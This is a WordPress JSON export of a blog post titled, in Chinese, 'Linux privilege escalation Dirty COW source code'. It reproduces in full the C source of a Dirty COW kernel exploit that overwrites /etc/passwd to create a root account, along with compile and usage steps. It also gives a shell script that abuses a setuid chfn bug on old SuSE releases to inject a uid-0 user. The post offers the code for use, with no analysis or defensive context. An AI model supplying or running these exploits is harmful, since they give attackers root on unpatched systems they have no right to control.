﻿{"id":1017,"date":"2021-03-11T23:03:45","date_gmt":"2021-03-11T15:03:45","guid":{"rendered":"https:\/\/byy3.com\/?p=1017"},"modified":"2021-03-12T02:43:51","modified_gmt":"2021-03-11T18:43:51","slug":"linux-%e6%8f%90%e6%9d%83%e8%84%8f%e7%89%9b%e6%ba%90%e4%bb%a3%e7%a0%81","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1017","title":{"rendered":"linux \u63d0\u6743\u810f\u725b\u6e90\u4ee3\u7801"},"content":{"rendered":"<p>\/\/<br \/>\n\/\/ This exploit uses the pokemon exploit of the dirtycow vulnerability<br \/>\n\/\/ as a base and automatically generates a new passwd line.<br \/>\n\/\/ The user will be prompted for the new password when the binary is run.<br \/>\n\/\/ The original \/etc\/passwd file is then backed up to \/tmp\/passwd.bak<br \/>\n\/\/ and overwrites the root account with the generated line.<br \/>\n\/\/ After running the exploit you should be able to login with the newly<br \/>\n\/\/ created user.<br \/>\n\/\/<br \/>\n\/\/ To use this exploit modify the user values according to your needs.<br \/>\n\/\/ The default is \"firefart\".<br \/>\n\/\/<br \/>\n\/\/ Original exploit (dirtycow's ptrace_pokedata \"pokemon\" method):<br \/>\n\/\/ https:\/\/github.com\/dirtycow\/dirtycow.github.io\/blob\/master\/pokemon.c<br \/>\n\/\/<br \/>\n\/\/ Compile with:<br \/>\n\/\/ gcc -pthread dirty.c -o dirty -lcrypt<br \/>\n\/\/<br \/>\n\/\/ Then run the newly create binary by either doing:<br \/>\n\/\/ \".\/dirty\" or \".\/dirty my-new-password\"<br \/>\n\/\/<br \/>\n\/\/ Afterwards, you can either \"su firefart\" or \"ssh firefart@...\"<br \/>\n\/\/<br \/>\n\/\/ DON'T FORGET TO RESTORE YOUR \/etc\/passwd AFTER RUNNING THE EXPLOIT!<br \/>\n\/\/ mv \/tmp\/passwd.bak \/etc\/passwd<br \/>\n\/\/<br \/>\n\/\/ Exploit adopted by Christian \"FireFart\" Mehlmauer<br \/>\n\/\/ https:\/\/firefart.at<br \/>\n\/\/<\/p>\n<p>#include &lt;fcntl.h&gt;<br \/>\n#include &lt;pthread.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdint.h&gt;<br \/>\n#include &lt;sys\/mman.h&gt;<br \/>\n#include &lt;sys\/types.h&gt;<br \/>\n#include &lt;sys\/stat.h&gt;<br \/>\n#include &lt;sys\/wait.h&gt;<br \/>\n#include &lt;sys\/ptrace.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<br \/>\n#include &lt;unistd.h&gt;<br \/>\n#include &lt;crypt.h&gt;<\/p>\n<p>const char *filename = \"\/etc\/passwd\";<br \/>\nconst char *backup_filename = \"\/tmp\/passwd.bak\";<br \/>\nconst char *salt = \"firefart\";<\/p>\n<p>int f;<br \/>\nvoid *map;<br \/>\npid_t pid;<br \/>\npthread_t pth;<br \/>\nstruct stat st;<\/p>\n<p>struct Userinfo {<br \/>\nchar *username;<br \/>\nchar *hash;<br \/>\nint user_id;<br \/>\nint group_id;<br \/>\nchar *info;<br \/>\nchar *home_dir;<br \/>\nchar *shell;<br \/>\n};<\/p>\n<p>char *generate_password_hash(char *plaintext_pw) {<br \/>\nreturn crypt(plaintext_pw, salt);<br \/>\n}<\/p>\n<p>char *generate_passwd_line(struct Userinfo u) {<br \/>\nconst char *format = \"%s:%s:%d:%d:%s:%s:%s\\n\";<br \/>\nint size = snprintf(NULL, 0, format, u.username, u.hash,<br \/>\nu.user_id, u.group_id, u.info, u.home_dir, u.shell);<br \/>\nchar *ret = malloc(size + 1);<br \/>\nsprintf(ret, format, u.username, u.hash, u.user_id,<br \/>\nu.group_id, u.info, u.home_dir, u.shell);<br \/>\nreturn ret;<br \/>\n}<\/p>\n<p>void *madviseThread(void *arg) {<br \/>\nint i, c = 0;<br \/>\nfor(i = 0; i &lt; 200000000; i++) {<br \/>\nc += madvise(map, 100, MADV_DONTNEED);<br \/>\n}<br \/>\nprintf(\"madvise %d\\n\\n\", c);<br \/>\n}<\/p>\n<p>int copy_file(const char *from, const char *to) {<br \/>\n\/\/ check if target file already exists<br \/>\nif(access(to, F_OK) != -1) {<br \/>\nprintf(\"File %s already exists! Please delete it and run again\\n\",<br \/>\nto);<br \/>\nreturn -1;<br \/>\n}<\/p>\n<p>char ch;<br \/>\nFILE *source, *target;<\/p>\n<p>source = fopen(from, \"r\");<br \/>\nif(source == NULL) {<br \/>\nreturn -1;<br \/>\n}<br \/>\ntarget = fopen(to, \"w\");<br \/>\nif(target == NULL) {<br \/>\nfclose(source);<br \/>\nreturn -1;<br \/>\n}<\/p>\n<p>while((ch = fgetc(source)) != EOF) {<br \/>\nfputc(ch, target);<br \/>\n}<\/p>\n<p>printf(\"%s successfully backed up to %s\\n\",<br \/>\nfrom, to);<\/p>\n<p>fclose(source);<br \/>\nfclose(target);<\/p>\n<p>return 0;<br \/>\n}<\/p>\n<p>int main(int argc, char *argv[])<br \/>\n{<br \/>\n\/\/ backup file<br \/>\nint ret = copy_file(filename, backup_filename);<br \/>\nif (ret != 0) {<br \/>\nexit(ret);<br \/>\n}<\/p>\n<p>struct Userinfo user;<br \/>\n\/\/ set values, change as needed<br \/>\nuser.username = \"firefart\";<br \/>\nuser.user_id = 0;<br \/>\nuser.group_id = 0;<br \/>\nuser.info = \"pwned\";<br \/>\nuser.home_dir = \"\/root\";<br \/>\nuser.shell = \"\/bin\/bash\";<\/p>\n<p>char *plaintext_pw;<\/p>\n<p>if (argc &gt;= 2) {<br \/>\nplaintext_pw = argv[1];<br \/>\nprintf(\"Please enter the new password: %s\\n\", plaintext_pw);<br \/>\n} else {<br \/>\nplaintext_pw = getpass(\"Please enter the new password: \");<br \/>\n}<\/p>\n<p>user.hash = generate_password_hash(plaintext_pw);<br \/>\nchar *complete_passwd_line = generate_passwd_line(user);<br \/>\nprintf(\"Complete line:\\n%s\\n\", complete_passwd_line);<\/p>\n<p>f = open(filename, O_RDONLY);<br \/>\nfstat(f, &amp;st);<br \/>\nmap = mmap(NULL,<br \/>\nst.st_size + sizeof(long),<br \/>\nPROT_READ,<br \/>\nMAP_PRIVATE,<br \/>\nf,<br \/>\n0);<br \/>\nprintf(\"mmap: %lx\\n\",(unsigned long)map);<br \/>\npid = fork();<br \/>\nif(pid) {<br \/>\nwaitpid(pid, NULL, 0);<br \/>\nint u, i, o, c = 0;<br \/>\nint l=strlen(complete_passwd_line);<br \/>\nfor(i = 0; i &lt; 10000\/l; i++) {<br \/>\nfor(o = 0; o &lt; l; o++) {<br \/>\nfor(u = 0; u &lt; 10000; u++) {<br \/>\nc += ptrace(PTRACE_POKETEXT,<br \/>\npid,<br \/>\nmap + o,<br \/>\n*((long*)(complete_passwd_line + o)));<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nprintf(\"ptrace %d\\n\",c);<br \/>\n}<br \/>\nelse {<br \/>\npthread_create(&amp;pth,<br \/>\nNULL,<br \/>\nmadviseThread,<br \/>\nNULL);<br \/>\nptrace(PTRACE_TRACEME);<br \/>\nkill(getpid(), SIGSTOP);<br \/>\npthread_join(pth,NULL);<br \/>\n}<\/p>\n<p>printf(\"Done! Check %s to see if the new user was created.\\n\", filename);<br \/>\nprintf(\"You can log in with the username '%s' and the password '%s'.\\n\\n\",<br \/>\nuser.username, plaintext_pw);<br \/>\nprintf(\"\\nDON'T FORGET TO RESTORE! $ mv %s %s\\n\",<br \/>\nbackup_filename, filename);<br \/>\nreturn 0;<br \/>\n}<\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p>\u901a\u8fc7shell\u63d0\u6743chfn<\/p>\n<p>#!\/bin\/sh<br \/>\n#<br \/>\n# Exploit for SuSE Linux 9.{1,2,3}\/10.0, Desktop 1.0, UnitedLinux 1.0<br \/>\n# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.<br \/>\n#<br \/>\n# by Hunger &lt;susechfn@hunger.hu&gt;<br \/>\n#<br \/>\n# Advistory:<br \/>\n# http:\/\/lists.suse.com\/archive\/suse-security-announce\/2005-Nov\/0002.html<br \/>\n#<br \/>\n# hunger@suse:~&gt; id<br \/>\n# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)<br \/>\n# hunger@suse:~&gt; .\/susechfn.sh<br \/>\n# Type your current password to get root... \ud83d\ude42<br \/>\n# Password:<br \/>\n# sh-2.05b# id<br \/>\n# uid=0(r00t) gid=0(root) groups=0(root)<\/p>\n<p>if [ X\"$SHELL\" = \"X\" ]; then<br \/>\necho \"No SHELL environment, using \/bin\/sh for default.\"<br \/>\nexport SHELL=\/bin\/sh<br \/>\nfi<\/p>\n<p>if [ -u \/usr\/bin\/chfn ]; then<br \/>\n\/bin\/echo \"Type your current password to get root... :)\"<br \/>\n\/usr\/bin\/chfn -h \"`echo -e ':\/:'$SHELL'\\nr00t::0:0:'`\" $USER &gt; \/dev\/null<br \/>\nif [ -u \/bin\/su ]; then<br \/>\n\/bin\/su r00t<br \/>\n\/bin\/echo \"You can get root again with 'su r00t'\"<br \/>\nelse<br \/>\necho \"\/bin\/su file is not setuid root :(\"<br \/>\nfi<br \/>\nelse<br \/>\necho \"\/usr\/bin\/chfn file is not setuid root :(\"<br \/>\nfi<\/p>\n<p># byy3.com [2020-11-08]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\/\/ \/\/ This exploit uses the pokemon exploit of the dirt [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[146,545],"class_list":["post-1017","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-linux","tag-545"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1017","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1017"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1017\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1017"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}